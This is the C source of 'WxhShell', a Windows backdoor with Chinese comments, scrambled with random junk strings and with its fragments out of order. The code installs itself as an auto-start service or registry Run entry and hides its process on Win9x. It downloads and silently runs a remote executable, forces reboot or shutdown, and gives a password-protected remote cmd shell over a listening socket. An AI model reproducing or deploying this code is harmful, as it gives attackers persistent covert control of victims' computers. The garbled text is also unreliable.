>CKm:7 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '/@wk#, g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PcU~1m1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4:N*C7P
HDZl;= if (!NtQueryInformationProcess) return 0; ^V96lKt/
<9yh:1"X hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fCJjFL: if(!hProcess) return 0; 0NC70+4L v*=P if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y;8&J{dd Km%L1Cd] CloseHandle(hProcess); <"P-7/j3j \i%mokfbc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3)\fZYu) if(hProcess==NULL) return 0; )hj:Xpj9# ?&~q^t?u HMODULE hMod; pxd=a!( char procName[255]; 15<? [`:6 unsigned long cbNeeded; *pS 7,Hm !@8i(!xb if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JDE_*xaUV IY#:v%U CloseHandle(hProcess); e}d(.H%l0 'EAskA]* if(strstr(procName,"services")) return 1; // 以服务启动 kv3Dn&<rJ M%!;5 return 0; // 注册表启动 <L#d<lx } .)!QsBU `;;l {8 // 主模块 ~:bdS 4w int StartWxhshell(LPSTR lpCmdLine) }A24;'} { &.*UVc2+Y SOCKET wsl; X(nyTR8 BOOL val=TRUE; 9 =;mY int port=0; `!HD.
E[2c struct sockaddr_in door; `/P/2{,~ d)YlD]I if(wscfg.ws_autoins) Install(); M[YFyM( qEST[S V port=atoi(lpCmdLine); "/i$_vl :Tg+)c Z if(port<=0) port=wscfg.ws_port; r8Pd}ptPU
4F~^RR" WSADATA data; rXX>I;`& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k*hl"oL"X .w.:o2L if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; XTJD> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -o6rY9\_! door.sin_family = AF_INET; xZ9:9/Vg door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2L^)k?9>g+ door.sin_port = htons(port); '{,xQf*x [!A[oK9i C if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EbQLMLD% closesocket(wsl); .Q*X5Fc return 1; .z`70ot? } y!77gx?- }6c>BU}DF if(listen(wsl,2) == INVALID_SOCKET) { H0Pxw
P>q closesocket(wsl); LSJ?;Zg(=z return 1; e{P v:jl } yJm"vN Wxhshell(wsl); #dA$k+3 WSACleanup(); H,!xTy"Wh fSuykbZ return 0; @Iv;y*y DYD<?._I
} `a& kD|Yh \n)',4mY // 以NT服务方式启动 do}LaUz VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4]y)YNQ( {
Pd*[i7zhC DWORD status = 0; N6Ud(8* DWORD specificError = 0xfffffff; !Lf<hS^ Z'JS@dV serviceStatus.dwServiceType = SERVICE_WIN32; 1sQIfX#2f serviceStatus.dwCurrentState = SERVICE_START_PENDING; x<NPp&GE serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5</$dcG serviceStatus.dwWin32ExitCode = 0; 'YNaLZ20 serviceStatus.dwServiceSpecificExitCode = 0; i--t
?@# serviceStatus.dwCheckPoint = 0; S(Yd.Sp serviceStatus.dwWaitHint = 0; <>cS@V5j (\9`$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 200yN+ ec if (hServiceStatusHandle==0) return; X*8y"~X|vq Ey46JO" status = GetLastError(); n+~Dc[ if (status!=NO_ERROR) jVj5 ; } { J!6FlcsZm serviceStatus.dwCurrentState = SERVICE_STOPPED; yB*,)x0
@ serviceStatus.dwCheckPoint = 0; ~C.*Vc?| serviceStatus.dwWaitHint = 0; Hcq.Lq;2: serviceStatus.dwWin32ExitCode = status; 0B
NLTRv serviceStatus.dwServiceSpecificExitCode = specificError; \N>-+r SetServiceStatus(hServiceStatusHandle, &serviceStatus); ly[LF1t return; yPm2??5MW> } wbO6Ag@)) ^PksXfk serviceStatus.dwCurrentState = SERVICE_RUNNING; 3^ Yc% serviceStatus.dwCheckPoint = 0; g,ZA\R~ serviceStatus.dwWaitHint = 0; U=on}W3V2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _"DS?`z6 } (C2 XFg_ yVd^A2
// 处理NT服务事件,比如:启动、停止 5Wt){rG0Z VOID WINAPI NTServiceHandler(DWORD fdwControl) yzA05 npTl { OG,P"sv switch(fdwControl) !d*[QD8 { ^[L(kHOGzk case SERVICE_CONTROL_STOP:
CT|+? serviceStatus.dwWin32ExitCode = 0; PxHFH pL serviceStatus.dwCurrentState = SERVICE_STOPPED; 29R-Up!SVN serviceStatus.dwCheckPoint = 0; !QUY ( serviceStatus.dwWaitHint = 0; L"L3n,%F { ~}/Dl#9R! SetServiceStatus(hServiceStatusHandle, &serviceStatus); )&DAbB!O } bQAznd0 return; !XA3G`}p6s case SERVICE_CONTROL_PAUSE: "(koR Q serviceStatus.dwCurrentState = SERVICE_PAUSED; ) "#' break; TQ
Vk;&A case SERVICE_CONTROL_CONTINUE: cH]tZ$E` serviceStatus.dwCurrentState = SERVICE_RUNNING; G4&s_M$ break; 3P>gDQP case SERVICE_CONTROL_INTERROGATE: 5/48w-fnZ break; A5?" }; q^@*{H SetServiceStatus(hServiceStatusHandle, &serviceStatus);
gwZ<$6 } &dtk&P{ aD/Rr3v> // 标准应用程序主函数 ;?6vKpj; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5:Qz { gU9{~-9} r@r%qkh(.@ // 获取操作系统版本 kH!Z|Ps?R OsIsNt=GetOsVer(); <J[le= GetModuleFileName(NULL,ExeFile,MAX_PATH); ~m%[d.
}e T}~TW26v // 从命令行安装 TyxIlI4" if(strpbrk(lpCmdLine,"iI")) Install(); lwnO LyUn!zV$( // 下载执行文件 x_PO; if(wscfg.ws_downexe) { Pms@!yce if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gfk)`>E WinExec(wscfg.ws_filenam,SW_HIDE); c=\tf~}^Ms } 95 ;{ms[ L
aTcBcI if(!OsIsNt) { e~h>b.~ // 如果时win9x,隐藏进程并且设置为注册表启动 ^df wWP HideProc(); AXfU$~ StartWxhshell(lpCmdLine); 6K2e]r } pjl%Jm else |@ mz@ if(StartFromService()) w+o5iPLX // 以服务方式启动 N_t,n^i9>* StartServiceCtrlDispatcher(DispatchTable); h!"2Ux3!x else jiI=tg; // 普通方式启动 ~% hdy@ StartWxhshell(lpCmdLine); ~W'DEpq_ GR,2^]<{ return 0; ,(jJOFf } yUoR6w BU
nujC MB}nn&u# 6(|mdk`i =========================================== 'Kelq$dn# j*=!M# D #-az]s|N Bz+oMN#XJ 7T[~~V^x !_glZ*tL " ~$!,-r <J%qzt} #include <stdio.h> E4#{&sRT #include <string.h> bC&A@.g{ #include <windows.h> ci,(]T+! #include <winsock2.h> qLR;:$]Q&8 #include <winsvc.h> uJ`N'`Z #include <urlmon.h> q|5WHB ITPE2x #pragma comment (lib, "Ws2_32.lib") :@w~*eK ~ #pragma comment (lib, "urlmon.lib") VPN
9 Ql= BD6!, #define MAX_USER 100 // 最大客户端连接数 j
}~?&yB #define BUF_SOCK 200 // sock buffer KdNo'*;U]_ #define KEY_BUFF 255 // 输入 buffer 3j#VKj+Uc ^}j~:EZb #define REBOOT 0 // 重启 3
98)\3o #define SHUTDOWN 1 // 关机 Q0*E&;| tpI/Ibq #define DEF_PORT 5000 // 监听端口 bLT3:q#s s/1r{;q #define REG_LEN 16 // 注册表键长度 3Vu}D(PJ #define SVC_LEN 80 // NT服务名长度 @Z]0c=-+ %PW-E($o< // 从dll定义API _JH.&8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^!['\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kH g|! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ? Fqh
i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %Tp9GGt LP3#f{U // wxhshell配置信息 6/!:vsa"3 struct WSCFG { +=WBH' int ws_port; // 监听端口 g5BL"Dn char ws_passstr[REG_LEN]; // 口令 [gzaOP`f int ws_autoins; // 安装标记, 1=yes 0=no zU5@~J char ws_regname[REG_LEN]; // 注册表键名 ~|u;z,\ char ws_svcname[REG_LEN]; // 服务名 V .Kjcy char ws_svcdisp[SVC_LEN]; // 服务显示名 \mF-L,yu char ws_svcdesc[SVC_LEN]; // 服务描述信息 t/i*.>7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z@Rqm:e int ws_downexe; // 下载执行标记, 1=yes 0=no x1=`Z@^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 74_?@Z( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RqROl!6 cGE{dWz }; %/eG{oh- TF%n1H-sF // default Wxhshell configuration h!B{7J struct WSCFG wscfg={DEF_PORT, qMaO1cE\ "xuhuanlingzhe", $`xpn#lz 1, CW`^fI9H "Wxhshell", 51:5rN(_ "Wxhshell", R0M>'V?e "WxhShell Service", lG6&uMvo "Wrsky Windows CmdShell Service", D(z#)oDr "Please Input Your Password: ", gd[muR ~ 1, 4n#u?) "http://www.wrsky.com/wxhshell.exe", W{Qb*{9 "Wxhshell.exe" b'(AVA }; kwi$% _9oKW;7f7 // 消息定义模块 5REH`- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,):aU char *msg_ws_prompt="\n\r? for help\n\r#>"; gvVy0nJI~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %g*nd#wG char *msg_ws_ext="\n\rExit."; s=$xnc}mf char *msg_ws_end="\n\rQuit."; +sJ{9# 6 char *msg_ws_boot="\n\rReboot..."; Ov"wcJ char *msg_ws_poff="\n\rShutdown..."; A._CCou char *msg_ws_down="\n\rSave to "; D~inR3(} [,&g46x22 char *msg_ws_err="\n\rErr!"; [\F:NLjiUy char *msg_ws_ok="\n\rOK!"; X6sZwb yO-2.2h char ExeFile[MAX_PATH]; @3eMvbI int nUser = 0; "P.sKhuo HANDLE handles[MAX_USER]; yI=nu53BV int OsIsNt; [1~3\-Y iMry0z SERVICE_STATUS serviceStatus; TrZ!E`~ SERVICE_STATUS_HANDLE hServiceStatusHandle; 0gyvRM@ x[ C&F%
j. < // 函数声明 3{H!B&sb int Install(void); ~+6#4<M.~ int Uninstall(void); d+Mogku2 int DownloadFile(char *sURL, SOCKET wsh); qZQm*q(jM int Boot(int flag); yR F+ void HideProc(void); vU/sQt8 int GetOsVer(void); ( 3,7 int Wxhshell(SOCKET wsl); qoan<z7 void TalkWithClient(void *cs); wQ-BY"cK\ int CmdShell(SOCKET sock); xR'd}>` int StartFromService(void); lYS4Q`z$ int StartWxhshell(LPSTR lpCmdLine); aSm</@tO& F0m[ls$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z(E.F,k VOID WINAPI NTServiceHandler( DWORD fdwControl ); u`L* VQ~eg wJL // 数据结构和表定义 nP=/XiCj SERVICE_TABLE_ENTRY DispatchTable[] = 5W{|?l{ { F&/}x15 {wscfg.ws_svcname, NTServiceMain}, 2}{[J {NULL, NULL} G4F~V't }; wMH13i3 LGy!{c // 自我安装 ]~WIGl"g int Install(void) esTK4z] { ' ]Km%uwL char svExeFile[MAX_PATH]; 'u[cT$ HKEY key; B*Q.EKD8s strcpy(svExeFile,ExeFile); -mZ{.\9 E;a9RV| // 如果是win9x系统,修改注册表设为自启动 oRn 5blj if(!OsIsNt) { IetV ]Ff6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qyzeAK\Ia RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,g)9ZP.F RegCloseKey(key); $L"-JNS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M+Y^ A7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); la!rg#)-X RegCloseKey(key); qmpU{fs return 0; Bq:: 5,v } 2LN5}[12] } !I8(Y } LD5E else { Ks7kaX 7w"YCRKh // 如果是NT以上系统,安装为系统服务 p4zV<qZ>e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hmd, g>J:< if (schSCManager!=0) 1<9m^9_ro { dv\oVD SC_HANDLE schService = CreateService @*LESN>T@t ( lO|H:7 schSCManager, ~Urj:l wscfg.ws_svcname, QO~TuC wscfg.ws_svcdisp, >^Z! SERVICE_ALL_ACCESS, D#9W [6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , My'6yQL SERVICE_AUTO_START, iNs SERVICE_ERROR_NORMAL, CD0SXNi"zH svExeFile, I1(,J NULL, C>7k|;BvF NULL, kR-5RaW NULL, dTP$7nfe NULL, 86@@j*c(@k NULL P3YG:* ); BO ^T
: if (schService!=0) }%rz"kB { @le23+q CloseServiceHandle(schService); 7"y"%+*/ CloseServiceHandle(schSCManager); s.I=H^T strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HgX4RSU strcat(svExeFile,wscfg.ws_svcname); {ByT,92 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fx0<!_tY- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x2TCw RegCloseKey(key); [H)p#x return 0; 2{h9a0b } Hp":r%) } B: uW(E
CloseServiceHandle(schSCManager); ZD0Q<8% } ziy~~J } GL1!Z3 !/$BXUrd return 1; *pvhkJ g( } JWrvAM$O rReZ$U
// 自我卸载 t9x.O int Uninstall(void) c66Iy" {
Px K HKEY key; U]ouBG8/ Hj;j\R >2 if(!OsIsNt) { JX/rAnc@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q_1EAxt RegDeleteValue(key,wscfg.ws_regname); B69 NL RegCloseKey(key); =J?<M?ugf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <H E'5b RegDeleteValue(key,wscfg.ws_regname); W?R$+~G RegCloseKey(key); R{6.O+j` return 0; oc-7gz) } <<&:BK } S3j/(BG } m&|?mTo>m else { JVTG3:zD K22W=B)Ln SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /5r[M=_ihr if (schSCManager!=0) .6OE8w
1 { 8X*6i-j5E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X'[SCs if (schService!=0) _.FxqH> { }
"y{d@ if(DeleteService(schService)!=0) {
6z=:x+m CloseServiceHandle(schService); ^X0<ZI CloseServiceHandle(schSCManager); +\.gd L) return 0; HPwmi[ } }N4=~'R CloseServiceHandle(schService); +69sG9BA } Z^`>;n2 CloseServiceHandle(schSCManager); p#J}@a } t]"3vE> } -@L*i|A ,1F3";`n[ return 1; eyl+D sK } -jFt4Q7}8 <tgJ-rnL // 从指定url下载文件 "o}3i!2Qr int DownloadFile(char *sURL, SOCKET wsh) T6-e { =}U`q3k HRESULT hr; v*l1"0$ char seps[]= "/"; ] X4A)%i char *token; aLuxCobV char *file; ;9 XM
s) char myURL[MAX_PATH]; +&-/$\" char myFILE[MAX_PATH]; $xlI"-( )UZ
's>O strcpy(myURL,sURL); !lL21C6g+ token=strtok(myURL,seps); >,A:zbs& while(token!=NULL) 86@"BNnTh { O\B_=KWDO file=token; 3(}HD*{E[@ token=strtok(NULL,seps); p^7ZFUP } @+:S'mAQC "F}anPY GetCurrentDirectory(MAX_PATH,myFILE); KDwjck"5; strcat(myFILE, "\\"); zpiqJEf|'" strcat(myFILE, file); ?7/n s>} send(wsh,myFILE,strlen(myFILE),0); 6#KRI%adw` send(wsh,"...",3,0); -`FTWH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;0P2nc:U~ if(hr==S_OK) BRFA%FZ, return 0; r2qxi' else AAxY{Z-4 return 1; \O^b|0zc $^y6>@~ } ;:hyW,J [F*t2 -ta // 系统电源模块 G?8LYg!- int Boot(int flag) kf~ D m}bV { |u<qbl HANDLE hToken; a(NN%'fDD TOKEN_PRIVILEGES tkp; 3 =KfNz_ [l:3F<M if(OsIsNt) { +kd88Fx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tb/bEy^
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IE+$ET>t tkp.PrivilegeCount = 1; mBhG"0: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @]Aul9.h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x4pl#~Su if(flag==REBOOT) { [58xT>5`m if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5qGRz"\p~ return 0; 6K5KZZG
} fF;Oz"I{\ else { 89Svx5S if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bBW(#
Q_a return 0; Ts:3_4-k } hT>h } 5^t68
WOl else { <bDjAVq if(flag==REBOOT) { Y
[0S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G0^WQQ4 return 0; 3x#=@i } E%:!* 9 else { P>z k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |qE"60&"} return 0; vtc} )s\ } HIcx "y } ;<1O86! U\&kT/6vh return 1; !:,d^L!bh } c (O+s/
SXSH9;j // win9x进程隐藏模块 $h0] void HideProc(void) 4tz8^z[Kw { L%ND?'@ h
`d(?1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l!ltgj if ( hKernel != NULL ) H'-Fv!l? { =iC5um: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g2l|NI#c^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mDC{c ? FreeLibrary(hKernel); T
{a%:=` } NIrK+uC.d UB@>i3 return; b#FN3AsR } e,>L&9] ZI Y.sf^} // 获取操作系统版本 *YZ'Uy? int GetOsVer(void) j_-$xz5- { x2ln$dSy7 OSVERSIONINFO winfo; `9B xDp]I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A0# K@ GetVersionEx(&winfo); u`$,S&Er if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -iGt]mbJkP return 1; e<dFvMO else g-U'{I5F return 0; ~j" aJ / } ;XSRG*3j~4 >^ 0JlL`XG // 客户端句柄模块 zh2$U
dZ|M int Wxhshell(SOCKET wsl) Jg/l<4,K, { zNuiBLxDs SOCKET wsh; BoG/Hd.S struct sockaddr_in client; us\@n" DWORD myID; s$YKdtR s<5q%5ix3 while(nUser<MAX_USER) ;Jr6 { .qi$X!0 int nSize=sizeof(client); ]|<PV5SY3. wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f/H rO6~k% if(wsh==INVALID_SOCKET) return 1; c!T^JZBb St-:+=V_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >~_y\ if(handles[nUser]==0) LN
]ks) closesocket(wsh); >Bq;Z}EV else 4%LG9hS nUser++; K~z*P0g* } GBzC<e# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p/
pVMR (l{+T# return 0; \xkLI:*\ } e'[T5HI ^+oi|y // 关闭 socket Z2)f$ c void CloseIt(SOCKET wsh) p18-yt;
1 { v Q[{<|K closesocket(wsh); #B8`qFpQC nUser--; 1>jG*tr ExitThread(0); vD D !.i } g_G?gO 5'@J}7h // 客户端请求句柄 @k<RX'~q void TalkWithClient(void *cs) Vo+d3 { O_K@\<;~ 0*L|rJf SOCKET wsh=(SOCKET)cs; Dx$74~2e char pwd[SVC_LEN]; `IOp*8 char cmd[KEY_BUFF]; Wv_5sPqLW char chr[1]; fKOm\R47 int i,j; oo)P(_"u OMd{rH while (nUser < MAX_USER) { s=(~/p#M u><ax if(wscfg.ws_passstr) { ehtiu!Vk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <89@k(\ / //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BnvUPDT& //ZeroMemory(pwd,KEY_BUFF); uEWW Y t i=0; H. uflO while(i<SVC_LEN) { P{)H7B> ?u"(^93f // 设置超时 J9)wt ?%j fd_set FdRead; )PL'^gRr struct timeval TimeOut; ?)<zrE5p FD_ZERO(&FdRead); 2n?\tOm(V FD_SET(wsh,&FdRead); +'>N]|Z TimeOut.tv_sec=8; ,a?)#X TimeOut.tv_usec=0; j8zh^q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jPPaL] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -le:0NUwI Xx:0Nt] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l"}W $3]u$ pwd=chr[0]; W2|*:<Jt if(chr[0]==0xd || chr[0]==0xa) { e~$MIHBY] pwd=0; .2Q`. o) break; fbB(WE+ } DG8$zl5 i++; 3
C=nC } 4S 2I]d K).X=2gjY // 如果是非法用户,关闭 socket ij r*_= if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yZxgUF&` } T=VVK6Lc:
.}ohnnJB0 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p!' "hx send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1(w0*` AbZ:AJ(
while(1) { XT{1!I( aZ=WK4 ZeroMemory(cmd,KEY_BUFF); @MtF^y g]$>G0E`oD // 自动支持客户端 telnet标准 3, ,Z j=0; \VHi while(j<KEY_BUFF) { `!qWHm6I* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q*DR~Ov cmd[j]=chr[0]; i= ~HXr} if(chr[0]==0xa || chr[0]==0xd) { >m}.}g8 cmd[j]=0; xVfJ]Y break; |xQj2?_z* } ;TmwIZ j++; z9h`sY~ } KPW: r#d t@}<&{zk // 下载文件 +;Cq>1x, if(strstr(cmd,"http://")) { QV{Nq=%] send(wsh,msg_ws_down,strlen(msg_ws_down),0); T]Tz<w W( if(DownloadFile(cmd,wsh)) 70HEu@- send(wsh,msg_ws_err,strlen(msg_ws_err),0); VxjHB?) else X?>S24I"9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xhUQ.(S`r6 } >/e#Z
h else { Ba`]Sm= bI]1!bi]i switch(cmd[0]) { V_+3@C 2$\1v*: // 帮助 ucoBeNsHx case '?': { fD,#z& send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }[ AIE[ break; CXUNdB } 7t@jj%F // 安装 Yv"uIj+'] case 'i': { JG/sKOlA if(Install()) ?)]sfJG send(wsh,msg_ws_err,strlen(msg_ws_err),0); $9W9* WQL else "DRp4; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rB=1*.}FLc break; j:<E=[Kl } ld9zOq // 卸载 .':SD{ case 'r': { zKT \i if(Uninstall()) ;yHA.} send(wsh,msg_ws_err,strlen(msg_ws_err),0); .>}we ~O else B"+Ygvxb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w'L;`k;Q break; WU=Os8gR } 6 _73 // 显示 wxhshell 所在路径 bE0S)b) case 'p': { {Ziq~{W_ char svExeFile[MAX_PATH]; |nm,5gPNC strcpy(svExeFile,"\n\r"); &mY<e4 strcat(svExeFile,ExeFile); .'X$SF` send(wsh,svExeFile,strlen(svExeFile),0); =q6yb@ break; )Xg#x: } P6IhpB59 // 重启 -O(.J'=8 case 'b': { Q@d X2 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C}+(L3Z if(Boot(REBOOT)) 4[Oy3.-c send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Z8zD[l else { :=~([oSNW" closesocket(wsh); Nk^#Sa? ExitThread(0); y# x]?%m } N:&^ql4 break; rRsLl/d } 7&T1RB'> // 关机 eRv3ZHH case 'd': { ["@K~my~D* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :T'"%_d5 if(Boot(SHUTDOWN)) #>>-:?X send(wsh,msg_ws_err,strlen(msg_ws_err),0); o ue;$8 else { kyY tL_SD closesocket(wsh); }1(F~6RH ExitThread(0); ri\r%x } a&y%|Gs^f break; d]a*)m& }
fmloh1{4 // 获取shell u1>| 2D case 's': { 8+GlM+>4 CmdShell(wsh); \UK 9 closesocket(wsh); \/lS!+~''] ExitThread(0); e#16,a-}o break; 'f5,%e2# } }hl#
e[$ // 退出 A\z[/3& RK case 'x': { >eJk)qM send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gv<9XYByt CloseIt(wsh); GS)l{bS#[O break; U24?+/5D] } h^[K= J // 离开 9Y-s],2V case 'q': { bh_i*DJ] send(wsh,msg_ws_end,strlen(msg_ws_end),0); o1kLT@VCl closesocket(wsh); W~ DY-; WSACleanup(); 9~u1fk{ exit(1); ~":?}) break; rF
7EO%, } 4$vya+mAk5 } )e{~x
u } Pk*EnA) FtE%<QHt // 提示信息 xt40hZ$ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #msk'MVt } G~YV6?? } ZmYp!B_~ \!s0VEE return; Ku&0bXP } }4ta#T Ea )LH nDx // shell模块句柄 xB
4A"| int CmdShell(SOCKET sock) V^.~m;ETu] { n_?<q{GW STARTUPINFO si; 2<Ub[R ZeroMemory(&si,sizeof(si)); wCc:HfmjJ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f'R^MX2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m"@M~~bh PROCESS_INFORMATION ProcessInfo;
KqaeRs.u char cmdline[]="cmd"; ^=Up UB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {v~&.| return 0; Fc42TH
p } k,b(MAiQ0 UGr7,+N&w // 自身启动模式 & |